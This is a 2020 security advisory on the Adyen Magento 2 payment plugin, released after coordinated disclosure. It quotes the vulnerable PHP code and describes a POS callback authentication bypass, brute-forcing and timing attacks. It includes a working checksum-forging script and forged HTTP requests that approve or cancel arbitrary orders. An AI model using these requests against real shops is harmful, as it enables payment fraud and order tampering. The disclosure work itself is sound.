The Adyen Magento 2 plugin did not securely implement authentication for the POS callback which allows an attacker to approve or cancel arbitrary orders. The only authentication required was a checksum that an attacker can recreate. Additionally, the /adyen/process/json
endpoint did not implement any authentication brute force protection and was vulnerable to timing attacks. An attacker who can successfully brute force these credentials may submit fraudulent payment notifications and fabricate payment information.
Date Released: 27/07/2020
Author: Denis Andzakovic
Project Website: https://github.com/Adyen/adyen-magento2
Affected Software: Adyen Payments Magento2 Plugin
POS Authentication Bypass
An attacker could add the Approved
tag to arbitrary orders or cancel arbitrary orders using the /adyen/process/resultpos/
endpoint without privileges to do so. The _validateChecksum
method was the only authentication mechanism and could be calculated by an attacker. Other parameters, such as sessionId
, originalCustomAmount
and originalCustomCurrency
could be set to any value as long as the checksum matched.
The following figure shows an example request to cancel an arbitrary order:
POST /adyen/process/resultpos/ HTTP/1.1
...omitted for brevity...
Cookie: form_key=<FORM KEY>
form_key=<FORM KEY>&result=CANCELLED&merchantReference=ORD00001&cs=48&originalCustomAmount=12
&originalCustomCurrency=nzd&sessionId=session
The following snippet from ResultPos.php
shows the vulnerable logic:
public function execute()
{
$response = $this->getRequest()->getParams();
$this->_adyenLogger->addAdyenResult(print_r($response, true));
$result = $this->_validateResponse($response);
if ($result) {
$session = $this->_session;
$session->getQuote()->setIsActive(false)->save();
$this->_redirect('checkout/onepage/success', ['_query' => ['utm_nooverride' => '1']]);
} else {
$this->_cancel($response);
$this->_redirect($this->_adyenHelper->getAdyenAbstractConfigData('return_path'));
}
}
The _validateResponse
method subsequently calls the _validateChecksum
method, then cancels or approves an order based on the POST
data:
private function _validateResponse($response)
{
$result = false;
if ($response != null && $response['result'] != "" && $this->_validateChecksum($response)) {
$incrementId = $response['merchantReference'];
$responseResult = $response['result'];
if ($incrementId) {
...omitted for brevity...
if ($responseResult == 'APPROVED') {
$this->_adyenLogger->addAdyenResult('Result is approved');
$history = $this->_orderHistoryFactory->create()
//->setStatus($status)
->setComment($comment)
->setEntityName('order')
->setOrder($order);
$history->save();
// needed becuase then we need to save $order objects
$order->setAdyenResulturlEventCode("POS_APPROVED");
// save order
$order->save();
return true;
} else {
$this->_adyenLogger->addAdyenResult('Result is:' . $responseResult);
$history = $this->_orderHistoryFactory->create()
//->setStatus($status)
->setComment($comment)
->setEntityName('order')
->setOrder($order);
$history->save();
// cancel the order
if ($order->canCancel()) {
$order->cancel()->save();
$this->_adyenLogger->addAdyenResult('Order is cancelled');
} else {
$this->_adyenLogger->addAdyenResult('Order can not be cancelled');
}
}
} else {
$this->_adyenLogger->addAdyenResult('Order does not exists with increment_id: ' . $incrementId);
}
} else {
$this->_adyenLogger->addAdyenResult('Empty merchantReference');
}
} else {
$this->_adyenLogger->addAdyenResult('actionName or checksum failed or response is empty');
}
return $result;
}
The _validateChecksum
method is the only form of authentication. Pulse Security created the following helper script to generate valid checksums:
<?php
function _getAscii2Int($ascii)
{
if (is_numeric($ascii)) {
$int = ord($ascii) - 48;
} else {
$int = ord($ascii) - 64;
}
return $int;
}
function _validateChecksum($result, $amount, $currency, $sessionId)
{
// for android sessionis is with low i
if ($sessionId == "") {
$sessionId = $response['sessionid'];
}
// calculate amount checksum
$amountChecksum = 0;
$amountLength = strlen($amount);
for ($i=0; $i<$amountLength; $i++) {
// ASCII value use ord
$checksumCalc = ord($amount[$i]) - 48;
$amountChecksum += $checksumCalc;
}
$currencyChecksum = 0;
$currencyLength = strlen($currency);
for ($i=0; $i<$currencyLength; $i++) {
$checksumCalc = ord($currency[$i]) - 64;
$currencyChecksum += $checksumCalc;
}
$resultChecksum = 0;
$resultLength = strlen($result);
for ($i=0; $i<$resultLength; $i++) {
$checksumCalc = ord($result[$i]) - 64;
$resultChecksum += $checksumCalc;
}
$sessionIdChecksum = 0;
$sessionIdLength = strlen($sessionId);
for ($i=0; $i<$sessionIdLength; $i++) {
$checksumCalc = _getAscii2Int($sessionId[$i]);
$sessionIdChecksum += $checksumCalc;
}
$totalResultChecksum = (($amountChecksum + $currencyChecksum + $resultChecksum) * $sessionIdChecksum) % 100;
echo $totalResultChecksum . "\n";
}
_validateChecksum($argv[1],$argv[2],$argv[3],$argv[4]);
?>
The following figure shows the helper tool being used to generate a checksum for approving orders:
doi@DESKTOP-3B8DEA2F:~/tmp$ php checksummer.php APPROVED 12 nzd session
60
The result above can then be used to add the approved tag to an order as follows:
POST /adyen/process/resultpos/ HTTP/1.1
...omitted for brevity...
Cookie: form_key=<FORM KEY>
form_key=<FORM KEY>&result=APPROVED&merchantReference=ORD00001&cs=60&originalCustomAmount=12
&originalCustomCurrency=nzd&sessionId=session
Payment JSON Callback Brute Forcing and Timing Attacks
The /adyen/process/json
endpoint did not implement any authentication brute force protection. An attacker who can successfully brute force these credentials may submit fraudulent payment notifications and fabricate payment information. Additionally, the use of strcmp
for password comparison allows for timing attacks.
The following snippet shows the vulnerability:
public function execute()
{
// if version is in the notification string show the module version
$response = $this->getRequest()->getParams();
if (isset($response['version'])) {
$this->getResponse()
->clearHeader('Content-Type')
->setHeader('Content-Type', 'text/html')
->setBody($this->_adyenHelper->getModuleVersion());
return;
}
try {
$notificationItems = json_decode(file_get_contents('php://input'), true);
$notificationMode = isset($notificationItems['live']) ? $notificationItems['live'] : "";
if ($notificationMode !== "" && $this->_validateNotificationMode($notificationMode)) {
foreach ($notificationItems['notificationItems'] as $notificationItem) {
$status = $this->_processNotification(
$notificationItem['NotificationRequestItem'],
$notificationMode
);
The _processNotification
method subsequently calls the authorised
method, which extracts the username and password passed via the authorization
header:
protected function authorised($response)
{
// Add CGI support
$this->_fixCgiHttpAuthentication();
$internalMerchantAccount = $this->_adyenHelper->getAdyenAbstractConfigData('merchant_account');
$username = $this->_adyenHelper->getAdyenAbstractConfigData('notification_username');
$password = $this->_adyenHelper->getNotificationPassword();
$submitedMerchantAccount = $response['merchantAccountCode'];
...omitted for brevity...
// validate username and password
if ((!isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW']))) {
if ($this->_isTestNotification($response['pspReference'])) {
$this->_returnResult(
'Authentication failed: PHP_AUTH_USER and PHP_AUTH_PW are empty. See Adyen Magento manual CGI mode'
);
}
return false;
}
$usernameCmp = strcmp($_SERVER['PHP_AUTH_USER'], $username);
$passwordCmp = strcmp($_SERVER['PHP_AUTH_PW'], $password);
if ($usernameCmp === 0 && $passwordCmp === 0) {
return true;
}
// If notification is test check if fields are correct if not return error
if ($this->_isTestNotification($response['pspReference'])) {
if ($usernameCmp != 0 || $passwordCmp != 0) {
$this->_returnResult(
'username (PHP_AUTH_USER) and\or password (PHP_AUTH_PW) are not the same as Magento settings'
);
}
}
return false;
}
The code above implements no brute force protection, allowing an attacker to try multiple username and password combinations without restriction.
Additionally, the strcmp
lines above did not perform timing-safe comparisons of the username and password. Given sufficient network stability and a minimally loaded server, an attacker could potentially stage a timing-attack to determine the password.
Timelines
2020-04-24: Advisory reported to Adyen
2020-06-26: Pull request https://github.com/Adyen/adyen-magento2/pull/736 with potential fixes merged
2020-07-27: Advisory released